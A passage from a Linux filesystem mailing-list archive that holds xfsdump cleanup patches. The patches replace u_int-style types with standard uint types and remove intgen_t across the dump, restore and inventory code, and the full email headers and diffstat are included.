i; + uint i; size_t nmf = 0; sescnt->ic_eof += (off64_t)( ses->s_cur_nstreams * sizeof( invt_stream_t ) ); @@ -386,7 +386,7 @@ stobj_put_session( /*----------------------------------------------------------------------*/ int -stobj_sortheaders( int fd, u_int num ) +stobj_sortheaders( int fd, uint num ) { size_t sz = sizeof( invt_seshdr_t ) * num; invt_seshdr_t *hdrs; @@ -440,11 +440,11 @@ stobj_put_streams( int fd, invt_seshdr_t *hdr, invt_session_t *ses, invt_stream_t *strms, invt_mediafile_t *mfiles ) { - u_int nstm = ses->s_cur_nstreams; + uint nstm = ses->s_cur_nstreams; off64_t off = hdr->sh_streams_off; off64_t mfileoff = off + (off64_t)( nstm * sizeof( invt_stream_t ) ); - u_int nmfiles = 0; - u_int i,j; + uint nmfiles = 0; + uint i,j; /* fix the offsets in streams */ for ( i = 0; i < nstm; i++ ) { @@ -737,7 +737,7 @@ stobj_pack_sessinfo( int fd, invt_session_t *ses, invt_seshdr_t *hdr, void **bufpp, size_t *bufszp ) { size_t stmsz; - u_int i, j; + uint i, j; size_t sessz; invt_stream_t *strms; char *sesbuf, *sesbufcp; @@ -917,8 +917,8 @@ stobj_delete_mobj(int fd, invt_stream_t *strms; off64_t off; invt_mediafile_t *mf, *mfiles; - u_int nmfiles; - u_int i, j; + uint nmfiles; + uint i, j; bool_t dirty; if ( GET_REC_NOLOCK( fd, &ses, sizeof( invt_session_t ), @@ -1007,7 +1007,7 @@ stobj_unpack_sessinfo( size_t bufsz, invt_sessinfo_t *s ) { - u_int i; + uint i; char *tmpbuf; char *p = (char *)bufp; @@ -1090,7 +1090,7 @@ stobj_unpack_sessinfo( #ifdef INVT_DELETION { int tmpfd = open( "moids", O_RDWR | O_CREAT, S_IRUSR|S_IWUSR ); - u_int j; + uint j; invt_mediafile_t *mmf = s->mfiles; for (i=0; i< s->ses->s_cur_nstreams; i++ ) { for (j=0; j< s->strms[ i ].st_nmediafiles; @@ -1235,7 +1235,7 @@ stobj_copy_invsess(int fd, i = (int) ses->s_cur_nstreams; while ( i-- ) { off64_t off; - u_int j, nmf; + uint j, nmf; stobj_convert_strm(&ises->s_streams[i], &strms[i]); nmf = strms[i].st_nmediafiles; @@ -1305,7 +1305,7 @@ stobj_convert_sessinfo(inv_session_t **buf, invt_sessinfo_t *sinfo) for ( i = 0 ; i < nstreams ; i++ ) { stobj_convert_strm(&ises->s_streams[i], &sinfo->strms[i]); nmf = (int) ises->s_streams[i].st_nmediafiles; - ises->s_streams[i].st_mediafiles = calloc( (u_int) nmf, + ises->s_streams[i].st_mediafiles = calloc( (uint) nmf, sizeof( inv_mediafile_t ) ); for ( j = 0; j < nmf; j++ ) { @@ -1372,7 +1372,7 @@ bool_t check_for_mobj ( inv_session_t *ses, invt_mobjinfo_t *mobj ) { int i; - u_int j; + uint j; inv_mediafile_t *mfp; for (i = 0; i < (int) ses->s_nstreams; i++ ) { @@ -1390,12 +1390,12 @@ check_for_mobj ( inv_session_t *ses, invt_mobjinfo_t *mobj ) void -DEBUG_sessionprint( inv_session_t *ses, u_int ref, invt_pr_ctx_t *prctx) +DEBUG_sessionprint( inv_session_t *ses, uint ref, invt_pr_ctx_t *prctx) { char str[UUID_STR_LEN + 1]; int i; inv_mediafile_t *mfp; - static u_int fsidxprinted = -1; + static uint fsidxprinted = -1; invt_mobjinfo_t *mobj = &prctx->mobj; @@ -1405,8 +1405,8 @@ DEBUG_sessionprint( inv_session_t *ses, u_int ref, invt_pr_ctx_t *prctx) return; } - if ( ref == 0 || fsidxprinted != (u_int) prctx->index ) { - fsidxprinted = (u_int) prctx->index; + if ( ref == 0 || fsidxprinted != (uint) prctx->index ) { + fsidxprinted = (uint) prctx->index; printf("file system %d:\n", prctx->index); uuid_unparse( ses->s_fsid, str ); @@ -1435,7 +1435,7 @@ DEBUG_sessionprint( inv_session_t *ses, u_int ref, invt_pr_ctx_t *prctx) return; for (i = 0; i < (int) ses->s_nstreams; i++ ) { - u_int j; + uint j; printf("\t\tstream %d:\n", i ); printf( "\t\t\tpathname:\t%s\n", ses->s_streams[i].st_cmdarg ); printf( "\t\t\tstart:\t\tino %llu offset %lld\n", diff --git a/inventory/inventory.h b/inventory/inventory.h index 43ac969..134b9ba 100644 --- a/inventory/inventory.h +++ b/inventory/inventory.h @@ -115,7 +115,7 @@ typedef enum { typedef struct inv_mediafile { uuid_t m_moid; /* media object id */ - u_int m_mfile_index; /* index within the media object */ + uint m_mfile_index; /* index within the media object */ xfs_ino_t m_startino; /* file that we started out with */ off64_t m_startino_off; xfs_ino_t m_endino; /* the dump file we ended this .. */ @@ -139,7 +139,7 @@ typedef struct inv_stream { including this breakpoint. */ off64_t st_endino_off; char st_cmdarg[INV_STRLEN]; /* the driver path user entered */ - u_int st_nmediafiles; /* number of mediafiles */ + uint st_nmediafiles; /* number of mediafiles */ inv_mediafile_t *st_mediafiles; /* array of all media files */ } inv_stream_t; @@ -161,9 +161,9 @@ typedef struct inv_session { char s_label[INV_STRLEN]; /* session label */ char s_mountpt[INV_STRLEN];/* path to the mount point */ char s_devpath[INV_STRLEN];/* path to the device */ - u_int s_nstreams; /* num of media streams recorded */ + uint s_nstreams; /* num of media streams recorded */ inv_stream_t *s_streams; /* array of streams */ - u_int s_refnum; /* storage location dependent ref. + uint s_refnum; /* storage location dependent ref. used in displaying the session and nowhere else */ @@ -206,7 +206,7 @@ inv_writesession_open( bool_t ispartial, bool_t isresumed, u_char level, - u_int nstreams, + uint nstreams, time32_t time, char *mntpt, char *devpath ); @@ -230,7 +230,7 @@ inv_put_mediafile( inv_stmtoken_t tok, uuid_t *moid, char *label, - u_int mfileindex, + uint mfileindex, xfs_ino_t startino, off64_t startino_offset, xfs_ino_t endino, diff --git a/inventory/testmain.c b/inventory/testmain.c index 7a268ea..3f742e4 100644 --- a/inventory/testmain.c +++ b/inventory/testmain.c @@ -145,7 +145,7 @@ delete_test( int n ) int sess_queries_byuuid(char *uu) { - u_int stat; + uint stat; uuid_t uuid; inv_session_t *ses; invt_pr_ctx_t prctx; diff --git a/invutil/invidx.c b/invutil/invidx.c index 56995f0..44c5e7f 100644 --- a/invutil/invidx.c +++ b/invutil/invidx.c @@ -626,11 +626,11 @@ stobj_put_streams( int fd, invt_seshdr_t *hdr, invt_session_t *ses, invt_stream_t *strms, invt_mediafile_t *mfiles ) { - u_int nstm = ses->s_cur_nstreams; + uint nstm = ses->s_cur_nstreams; off64_t off = hdr->sh_streams_off; off64_t mfileoff= off + (off64_t)( nstm * sizeof( invt_stream_t ) ); - u_int nmfiles = 0; - u_int i,j; + uint nmfiles = 0; + uint i,j; /* fix the offsets in streams */ for ( i = 0; i < nstm; i++ ) { diff --git a/restore/content.c b/restore/content.c index ac7d72a..5e6e88e 100644 --- a/restore/content.c +++ b/restore/content.c @@ -526,10 +526,10 @@ struct pers { /* the following stats are not valid until the * first media file header has been read. */ - u_int64_t stat_inocnt; + uint64_t stat_inocnt; /* number of non-dir inos to restore during session */ - u_int64_t stat_inodone; + uint64_t stat_inodone; /* number of non-dir inos restored so far */ off64_t stat_datacnt; @@ -1615,11 +1615,11 @@ content_init( int argc, char *argv[ ], size64_t vmsz ) strerror( errno )); return BOOL_FALSE; } - ok = dirattr_init( tranp->t_hkdir, BOOL_TRUE, ( u_int64_t )0 ); + ok = dirattr_init( tranp->t_hkdir, BOOL_TRUE, ( uint64_t )0 ); if ( ! ok ) { return BOOL_FALSE; } - ok = namreg_init( tranp->t_hkdir, BOOL_TRUE, ( u_int64_t )0 ); + ok = namreg_init( tranp->t_hkdir, BOOL_TRUE, ( uint64_t )0 ); if ( ! ok ) { return BOOL_FALSE; } @@ -1841,7 +1841,7 @@ content_init( int argc, char *argv[ ], size64_t vmsz ) * determine if full init needed instead. */ if ( persp->a.valpr && persp->s.valpr ) { - ok = dirattr_init( tranp->t_hkdir, BOOL_TRUE, ( u_int64_t )0 ); + ok = dirattr_init( tranp->t_hkdir, BOOL_TRUE, ( uint64_t )0 ); if ( ! ok ) { return BOOL_FALSE; } @@ -1853,7 +1853,7 @@ content_init( int argc, char *argv[ ], size64_t vmsz ) * determine if full init needed instead. */ if ( persp->a.valpr ) { - ok = namreg_init( tranp->t_hkdir, BOOL_TRUE, ( u_int64_t )0 ); + ok = namreg_init( tranp->t_hkdir, BOOL_TRUE, ( uint64_t )0 ); if ( ! ok ) { return BOOL_FALSE; } @@ -7532,7 +7532,7 @@ restore_reg( drive_t *drivep, assert( bstatp->bs_extsize >= 0 ); memset((void *)&fsxattr, 0, sizeof( fsxattr )); fsxattr.fsx_xflags = bstatp->bs_xflags & ~POST_DATA_XFLAGS; - fsxattr.fsx_extsize = (u_int32_t) bstatp->bs_extsize; + fsxattr.fsx_extsize = (uint32_t) bstatp->bs_extsize; fsxattr.fsx_projid = bstat_projid(bstatp); rval = ioctl( *fdp, XFS_IOC_FSSETXATTR, (void *)&fsxattr); @@ -7753,7 +7753,7 @@ restore_complete_reg(stream_context_t *strcxtp) struct fsxattr fsxattr; memset((void *)&fsxattr, 0, sizeof( fsxattr )); fsxattr.fsx_xflags = bstatp->bs_xflags; - fsxattr.fsx_extsize = (u_int32_t)bstatp->bs_extsize; + fsxattr.fsx_extsize = (uint32_t)bstatp->bs_extsize; fsxattr.fsx_projid = bstat_projid(bstatp); rval = ioctl( fd, XFS_IOC_FSSETXATTR, (void *)&fsxattr ); @@ -8364,8 +8364,8 @@ read_extattrhdr( drive_t *drivep, extattrhdr_t *ahdrp, bool_t ahcs ) mlog( MLOG_NITTY, "read extattr hdr sz %u valoff %u flags 0x%x valsz %u cs 0x%x\n", ahdrp->ah_sz, - ( u_int )ahdrp->ah_valoff, - ( u_int )ahdrp->ah_flags, + ( uint )ahdrp->ah_valoff, + ( uint )ahdrp->ah_flags, ahdrp->ah_valsz, ahdrp->ah_checksum ); diff --git a/restore/dirattr.c b/restore/dirattr.c index d8d5140..7a423ab 100644 --- a/restore/dirattr.c +++ b/restore/dirattr.c @@ -71,7 +71,7 @@ #define HDLSUMMASK ( HDLSUMLOMASK << HDLSUMSHIFT ) #define HDLDIXCNT HDLSUMSHIFT #define HDLDIXMASK ( ( 1 << HDLDIXCNT ) - 1 ) -#define HDLGETSUM( h ) ( ( u_int16_t ) \ +#define HDLGETSUM( h ) ( ( uint16_t ) \ ( ( ( int )h >> HDLSUMSHIFT ) \ & \ HDLSUMLOMASK )) @@ -104,8 +104,8 @@ */ struct dirattr { #ifdef DIRATTRCHK - u_int16_t d_unq; - u_int16_t d_sum; + uint16_t d_unq; + uint16_t d_sum; #endif /* DIRATTRCHK */ mode_t d_mode; uid_t d_uid; @@ -113,11 +113,11 @@ struct dirattr { time32_t d_atime; time32_t d_mtime; time32_t d_ctime; - u_int32_t d_xflags; - u_int32_t d_extsize; - u_int32_t d_projid; - u_int32_t d_dmevmask; - u_int32_t d_dmstate; + uint32_t d_xflags; + uint32_t d_extsize; + uint32_t d_projid; + uint32_t d_dmevmask; + uint32_t d_dmstate; off64_t d_extattroff; }; @@ -181,7 +181,7 @@ extern size_t pgsz; static void dirattr_get( dah_t ); static void dirattr_cacheflush( void ); #ifdef DIRATTRCHK -static u_int16_t calcdixcum( dix_t dix ); +static uint16_t calcdixcum( dix_t dix ); #endif /* DIRATTRCHK */ @@ -199,7 +199,7 @@ static dirattr_pers_t *dpp = 0; /* definition of locally defined global functions ****************************/ bool_t -dirattr_init( char *hkdir, bool_t resume, u_int64_t dircnt ) +dirattr_init( char *hkdir, bool_t resume, uint64_t dircnt ) { if ( dtp ) { return BOOL_TRUE; @@ -392,7 +392,7 @@ dirattr_add( filehdr_t *fhdrp ) off64_t oldoff; dix_t dix; #ifdef DIRATTRCHK - u_int16_t sum; + uint16_t sum; #endif /* DIRATTRCHK */ dah_t dah; @@ -437,10 +437,10 @@ dirattr_add( filehdr_t *fhdrp ) dirattr.d_mtime = ( time32_t )fhdrp->fh_stat.bs_mtime.tv_sec; dirattr.d_ctime = ( time32_t )fhdrp->fh_stat.bs_ctime.tv_sec; dirattr.d_xflags = fhdrp->fh_stat.bs_xflags; - dirattr.d_extsize = ( u_int32_t )fhdrp->fh_stat.bs_extsize; + dirattr.d_extsize = ( uint32_t )fhdrp->fh_stat.bs_extsize; dirattr.d_projid = bstat_projid(&(fhdrp->fh_stat)); dirattr.d_dmevmask = fhdrp->fh_stat.bs_dmevmask; - dirattr.d_dmstate = ( u_int32_t )fhdrp->fh_stat.bs_dmstate; + dirattr.d_dmstate = ( uint32_t )fhdrp->fh_stat.bs_dmstate; #ifdef DIRATTRCHK dirattr.d_unq = DIRATTRUNQ; sum = calcdixcum( dix ); @@ -753,7 +753,7 @@ dirattr_update( dah_t dah, filehdr_t *fhdrp ) { dix_t dix; #ifdef DIRATTRCHK - u_int16_t sum; + uint16_t sum; #endif /* DIRATTRCHK */ off64_t argoff; off64_t newoff; @@ -815,10 +815,10 @@ dirattr_update( dah_t dah, filehdr_t *fhdrp ) dirattr.d_mtime = ( time32_t )fhdrp->fh_stat.bs_mtime.tv_sec; dirattr.d_ctime = ( time32_t )fhdrp->fh_stat.bs_ctime.tv_sec; dirattr.d_xflags = fhdrp->fh_stat.bs_xflags; - dirattr.d_extsize = ( u_int32_t )fhdrp->fh_stat.bs_extsize; + dirattr.d_extsize = ( uint32_t )fhdrp->fh_stat.bs_extsize; dirattr.d_projid = bstat_projid(&(fhdrp->fh_stat)); dirattr.d_dmevmask = fhdrp->fh_stat.bs_dmevmask; - dirattr.d_dmstate = ( u_int32_t )fhdrp->fh_stat.bs_dmstate; + dirattr.d_dmstate = ( uint32_t )fhdrp->fh_stat.bs_dmstate; dirattr.d_extattroff = DIRATTR_EXTATTROFFNULL; /* write the dirattr @@ -883,35 +883,35 @@ dirattr_get_ctime( dah_t dah ) return dtp->dt_cached_dirattr.d_ctime; } -u_int32_t +uint32_t dirattr_get_xflags( dah_t dah ) { dirattr_get( dah ); return dtp->dt_cached_dirattr.d_xflags; } -u_int32_t +uint32_t dirattr_get_extsize( dah_t dah ) { dirattr_get( dah ); return dtp->dt_cached_dirattr.d_extsize; } -u_int32_t +uint32_t dirattr_get_projid( dah_t dah ) { dirattr_get( dah ); return dtp->dt_cached_dirattr.d_projid; } -u_int32_t +uint32_t dirattr_get_dmevmask( dah_t dah ) { dirattr_get( dah ); return dtp->dt_cached_dirattr.d_dmevmask; } -u_int32_t +uint32_t dirattr_get_dmstate( dah_t dah ) { dirattr_get( dah ); @@ -960,7 +960,7 @@ dirattr_get( dah_t dah ) off64_t newoff; int nread; #ifdef DIRATTRCHK - u_int16_t sum; + uint16_t sum; #endif /* DIRATTRCHK */ /* sanity checks @@ -1036,7 +1036,7 @@ dirattr_cacheflush( void ) dah_t dah; dix_t dix; #ifdef DIRATTRCHK - u_int16_t sum; + uint16_t sum; #endif /* DIRATTRCHK */ off64_t argoff; off64_t newoff; @@ -1103,10 +1103,10 @@ dirattr_cacheflush( void ) #ifdef DIRATTRCHK -static u_int16_t +static uint16_t calcdixcum( dix_t dix ) { - u_int16_t sum; + uint16_t sum; ix_t nibcnt; ix_t nibix; @@ -1115,10 +1115,10 @@ calcdixcum( dix_t dix ) nibcnt = ( sizeof( dah_t ) / HDLSUMCNT ) - 1; sum = 0; for ( nibix = 0 ; nibix < nibcnt ; nibix++ ) { - sum += ( u_int16_t )( dix & HDLSUMLOMASK ); + sum += ( uint16_t )( dix & HDLSUMLOMASK ); dix >>= HDLSUMCNT; } - sum = ( u_int16_t )( ( ~sum + 1 ) & HDLSUMLOMASK ); + sum = ( uint16_t )( ( ~sum + 1 ) & HDLSUMLOMASK ); return sum; } diff --git a/restore/dirattr.h b/restore/dirattr.h index d671883..aaf276d 100644 --- a/restore/dirattr.h +++ b/restore/dirattr.h @@ -33,7 +33,7 @@ typedef size32_t dah_t; */ extern bool_t dirattr_init( char *housekeepingdir, bool_t resync, - u_int64_t dircnt ); + uint64_t dircnt ); /* dirattr_cleanup - removes all traces @@ -62,11 +62,11 @@ gid_t dirattr_get_gid( dah_t dah ); time32_t dirattr_get_atime( dah_t dah ); time32_t dirattr_get_mtime( dah_t dah ); time32_t dirattr_get_ctime( dah_t dah ); -u_int32_t dirattr_get_xflags( dah_t dah ); -u_int32_t dirattr_get_extsize( dah_t dah ); -u_int32_t dirattr_get_projid( dah_t dah ); -u_int32_t dirattr_get_dmevmask( dah_t dah ); -u_int32_t dirattr_get_dmstate( dah_t dah ); +uint32_t dirattr_get_xflags( dah_t dah ); +uint32_t dirattr_get_extsize( dah_t dah ); +uint32_t dirattr_get_projid( dah_t dah ); +uint32_t dirattr_get_dmevmask( dah_t dah ); +uint32_t dirattr_get_dmstate( dah_t dah ); /* dirattr_flush - flush dirattr I/O buffer. Returns 0 if successful. */ diff --git a/restore/inomap.c b/restore/inomap.c index f1604c4..fd55907 100644 --- a/restore/inomap.c +++ b/restore/inomap.c @@ -92,8 +92,8 @@ static int pers_fd = -1; /* context for inomap construction - initialized by inomap_restore_pers */ -static u_int64_t hnkcnt; -static u_int64_t segcnt; +static uint64_t hnkcnt; +static uint64_t segcnt; static hnk_t *roothnkp = 0; static hnk_t *tailhnkp; static seg_t *lastsegp; @@ -106,10 +106,10 @@ static inline void SEG_SET_BITS( seg_t *segp, xfs_ino_t ino, int state ) { register xfs_ino_t relino; - register u_int64_t mask; - register u_int64_t clrmask; + register uint64_t mask; + register uint64_t clrmask; relino = ino - segp->base; - mask = ( u_int64_t )1 << relino; + mask = ( uint64_t )1 << relino; clrmask = ~mask; switch( state ) { case 0: @@ -160,9 +160,9 @@ SEG_GET_BITS( seg_t *segp, xfs_ino_t ino ) { int state; register xfs_ino_t relino; - register u_int64_t mask; + register uint64_t mask; relino = ino - segp->base; - mask = ( u_int64_t )1 << relino; + mask = ( uint64_t )1 << relino; if ( segp->lobits & mask ) { state = 1; } else { @@ -310,7 +310,7 @@ rv_t inomap_discard( drive_t *drivep, content_inode_hdr_t *scrhdrp ) { drive_ops_t *dop = drivep->d_opsp; - u_int64_t tmphnkcnt; + uint64_t tmphnkcnt; /* REFERENCED */ int nread; int rval; @@ -654,10 +654,10 @@ map_getset( xfs_ino_t ino, int newstate, bool_t setflag ) static seg_t * map_getsegment( xfs_ino_t ino ) { - u_int64_t min; - u_int64_t max; - u_int64_t hnk; - u_int64_t seg; + uint64_t min; + uint64_t max; + uint64_t hnk; + uint64_t seg; /* Use binary search to find the hunk that contains the inode number, * if any. This counts on the fact that all the hunks are contiguous diff --git a/restore/inomap.h b/restore/inomap.h index bc40f3e..03facdb 100644 --- a/restore/inomap.h +++ b/restore/inomap.h @@ -48,9 +48,9 @@ */ struct seg { xfs_ino_t base; - u_int64_t lobits; - u_int64_t mebits; - u_int64_t hibits; + uint64_t lobits; + uint64_t mebits; + uint64_t hibits; }; typedef struct seg seg_t; diff --git a/restore/namreg.c b/restore/namreg.c index 8c3b74f..97e6524 100644 --- a/restore/namreg.c +++ b/restore/namreg.c @@ -116,7 +116,7 @@ static namreg_pers_t *npp = 0; /* definition of locally defined global functions ****************************/ bool_t -namreg_init( char *hkdir, bool_t resume, u_int64_t inocnt ) +namreg_init( char *hkdir, bool_t resume, uint64_t inocnt ) { if ( ntp ) { return BOOL_TRUE; diff --git a/restore/namreg.h b/restore/namreg.h index 8bc7b53..859ccd7 100644 --- a/restore/namreg.h +++ b/restore/namreg.h @@ -36,7 +36,7 @@ typedef size64_t nrh_t; */ extern bool_t namreg_init( char *housekeepingdir, bool_t resync, - u_int64_t inocnt ); + uint64_t inocnt ); /* namreg_add - registers a name. name does not need to be null-terminated. diff --git a/restore/tree.c b/restore/tree.c index 46ba715..363f0f1 100644 --- a/restore/tree.c +++ b/restore/tree.c @@ -349,7 +349,7 @@ tree_init( char *hkdir, bool_t fullpr, bool_t restoredmpr, bool_t dstdirisxfspr, - u_int32_t dumpformat, + uint32_t dumpformat, bool_t truncategenpr ) { off64_t nodeoff; @@ -661,7 +661,7 @@ tree_sync( char *hkdir, } bool_t -tree_check_dump_format( u_int32_t dumpformat ) +tree_check_dump_format( uint32_t dumpformat ) { if ( dumpformat < GLOBAL_HDR_VERSION_3 && !persp->p_truncategenpr ) { mlog( MLOG_NORMAL | MLOG_ERROR | MLOG_TREE, _( @@ -2554,7 +2554,7 @@ setdirattr( dah_t dah, char *path ) fssetdm.fsd_dmevmask = dirattr_get_dmevmask( dah ); fssetdm.fsd_padding = 0; /* not used */ - fssetdm.fsd_dmstate = ( u_int16_t )dirattr_get_dmstate( dah ); + fssetdm.fsd_dmstate = ( uint16_t )dirattr_get_dmstate( dah ); /* restore DMAPI event settings etc. */ diff --git a/restore/tree.h b/restore/tree.h index 7b1a76a..47911c4 100644 --- a/restore/tree.h +++ b/restore/tree.h @@ -33,7 +33,7 @@ extern bool_t tree_init( char *hkdir, bool_t fullpr, bool_t restoredmpr, bool_t dstdirisxfspr, - u_int32_t dumpformat, + uint32_t dumpformat, bool_t truncategenpr ); /* tree_sync - synchronizes with an existing tree abstraction @@ -50,7 +50,7 @@ extern bool_t tree_sync( char *hkdir, * a format 2 dump. the restore will fail unless the * original restore was told to use format 2 gen numbers. */ -extern bool_t tree_check_dump_format( u_int32_t dumpformat ); +extern bool_t tree_check_dump_format( uint32_t dumpformat ); /* tree_begindir - begins application of dumped directory to tree. -- 2.5.0 From dave@fromorbit.com Thu Oct 15 20:45:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5D0DA7F51 for ; Thu, 15 Oct 2015 20:45:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 74730AC002 for ; Thu, 15 Oct 2015 18:45:50 -0700 (PDT) X-ASG-Debug-ID: 1444959919-04cbb035aa2e150003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id lhTZAehNnEIdzRsC for ; Thu, 15 Oct 2015 18:45:25 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CeBADrVSBW/ySkLHnNFQICAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Oct 2015 12:15:17 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zmu4u-00019s-T3 for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:05 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zmu4u-000060-S5 for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/8] cleanup: kill intgen_t Date: Fri, 16 Oct 2015 12:44:56 +1100 X-ASG-Orig-Subj: [PATCH 3/8] cleanup: kill intgen_t Message-Id: <1444959901-31319-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1444959901-31319-1-git-send-email-david@fromorbit.com> References: <1444959901-31319-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1444959924 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner intgen_t is for jdm (libhandle) interfaces, not as a random substitute for "int". Do a global s/intgen_t/int across the codebase with sed to remove this stupidity so that we don't have to include xfs/jdm.h across almost the entire code base. After a manual pass back over the callers of the jdm API, there are no places where the return value needs to be an intgen_t. Indeed, jdm_open passes back a file descriptor, so intgen_t by definition cannot be anything other than an int. Signed-off-by: Dave Chinner --- common/cldmgr.c | 14 +-- common/cldmgr.h | 2 +- common/content.h | 8 +- common/dlog.c | 6 +- common/dlog.h | 2 +- common/drive.c | 6 +- common/drive.h | 44 +++++----- common/drive_minrmt.c | 222 +++++++++++++++++++++++------------------------ common/drive_scsitape.c | 226 ++++++++++++++++++++++++------------------------ common/drive_simple.c | 84 +++++++++--------- common/exit.h | 2 +- common/fs.c | 12 +-- common/fs.h | 8 +- common/global.c | 4 +- common/global.h | 2 +- common/inventory.c | 4 +- common/inventory.h | 2 +- common/main.c | 76 ++++++++-------- common/media.c | 2 +- common/mlog.c | 38 ++++---- common/mlog.h | 16 ++-- common/openutil.c | 28 +++--- common/openutil.h | 14 +-- common/qlock.c | 16 ++-- common/ring.c | 4 +- common/ring.h | 4 +- common/stream.c | 10 +-- common/stream.h | 6 +- common/types.h | 6 +- common/util.c | 66 +++++++------- common/util.h | 42 ++++----- dump/content.c | 106 +++++++++++------------ dump/inomap.c | 156 ++++++++++++++++----------------- dump/inomap.h | 6 +- dump/var.c | 4 +- inventory/inv_api.c | 6 +- inventory/inv_core.c | 14 +-- inventory/inv_fstab.c | 6 +- inventory/inv_idx.c | 14 +-- inventory/inv_mgr.c | 8 +- inventory/inv_oref.c | 30 +++---- inventory/inv_oref.h | 10 +-- inventory/inv_priv.h | 70 +++++++-------- inventory/inv_stobj.c | 20 ++--- inventory/inventory.h | 2 +- inventory/testmain.c | 8 +- invutil/invidx.c | 2 +- restore/content.c | 132 ++++++++++++++-------------- restore/dirattr.c | 30 +++---- restore/inomap.c | 48 +++++----- restore/inomap.h | 2 +- restore/namreg.c | 10 +-- restore/namreg.h | 2 +- restore/node.c | 14 +-- restore/node.h | 4 +- restore/tree.c | 54 ++++++------ restore/win.c | 6 +- restore/win.h | 4 +- 58 files changed, 872 insertions(+), 872 deletions(-) diff --git a/common/cldmgr.c b/common/cldmgr.c index 88fd7fd..624da62 100644 --- a/common/cldmgr.c +++ b/common/cldmgr.c @@ -47,7 +47,7 @@ typedef enum { C_AVAIL, C_ALIVE, C_EXITED } state_t; struct cld { state_t c_state; - intgen_t c_exit_code; + int c_exit_code; pthread_t c_tid; ix_t c_streamix; int ( * c_entry )( void *arg1 ); @@ -82,7 +82,7 @@ cldmgr_create( int ( * entry )( void *arg1 ), void *arg1 ) { cld_t *cldp; - intgen_t rval; + int rval; assert( pthread_equal( pthread_self( ), cldmgr_parenttid ) ); @@ -128,17 +128,17 @@ cldmgr_stop( void ) cldmgr_stopflag = BOOL_TRUE; } -intgen_t +int cldmgr_join( void ) { cld_t *p = cld; cld_t *ep = cld + sizeof( cld ) / sizeof( cld[ 0 ] ); - intgen_t xc = EXIT_NORMAL; + int xc = EXIT_NORMAL; lock(); for ( ; p < ep ; p++ ) { if ( p->c_state == C_EXITED ) { - if ( ( intgen_t )( p->c_streamix ) >= 0 ) { + if ( ( int )( p->c_streamix ) >= 0 ) { stream_dead( p->c_tid ); } pthread_join( p->c_tid, NULL ); @@ -230,8 +230,8 @@ cldmgr_entry( void *arg1 ) pthread_cleanup_push( cldmgr_cleanup, arg1 ); - if ( ( intgen_t )( cldp->c_streamix ) >= 0 ) { - stream_register( tid, ( intgen_t )cldp->c_streamix ); + if ( ( int )( cldp->c_streamix ) >= 0 ) { + stream_register( tid, ( int )cldp->c_streamix ); } mlog( MLOG_DEBUG | MLOG_PROC, "thread %lu created for stream %d\n", diff --git a/common/cldmgr.h b/common/cldmgr.h index 1df0c0c..c3384fa 100644 --- a/common/cldmgr.h +++ b/common/cldmgr.h @@ -44,7 +44,7 @@ extern void cldmgr_stop( void ); * EXIT_FAULT if any threads requested a core dump, or another EXIT_* * value if any threads exited abnormally. */ -extern intgen_t cldmgr_join( void ); +extern int cldmgr_join( void ); /* cldmgr_stop_requested - returns TRUE if the child should gracefully * terminate. diff --git a/common/content.h b/common/content.h index 03b72f0..763c09f 100644 --- a/common/content.h +++ b/common/content.h @@ -84,13 +84,13 @@ extern bool_t is_quota_file(ino_t ino); #endif /* DUMP */ #ifdef DUMP -extern bool_t content_init( intgen_t argc, +extern bool_t content_init( int argc, char *argv[ ], global_hdr_t *gwhdrtemplatep ); /* prepares for multi-stream dump */ -extern intgen_t content_stream_dump( ix_t strmix ); +extern int content_stream_dump( ix_t strmix ); /* does stream dump */ @@ -98,11 +98,11 @@ extern intgen_t content_stream_dump( ix_t strmix ); #ifdef RESTORE extern size_t perssz; -extern bool_t content_init( intgen_t argc, char *argv[ ], size64_t vmsz ); +extern bool_t content_init( int argc, char *argv[ ], size64_t vmsz ); /* prepares for multi-thread restore */ -extern intgen_t content_stream_restore( ix_t thrdix ); +extern int content_stream_restore( ix_t thrdix ); /* does thread restore */ diff --git a/common/dlog.c b/common/dlog.c index dac4e64..cb5c11a 100644 --- a/common/dlog.c +++ b/common/dlog.c @@ -58,7 +58,7 @@ static void dlog_string_query_print( void *ctxp, char *fmt, ... ); bool_t dlog_init( int argc, char *argv[ ] ) { - intgen_t c; + int c; /* can only call once */ @@ -140,7 +140,7 @@ dlog_desist( void ) dlog_allowed_flag = BOOL_FALSE; } -intgen_t +int dlog_fd( void ) { return dlog_ttyfd; @@ -385,7 +385,7 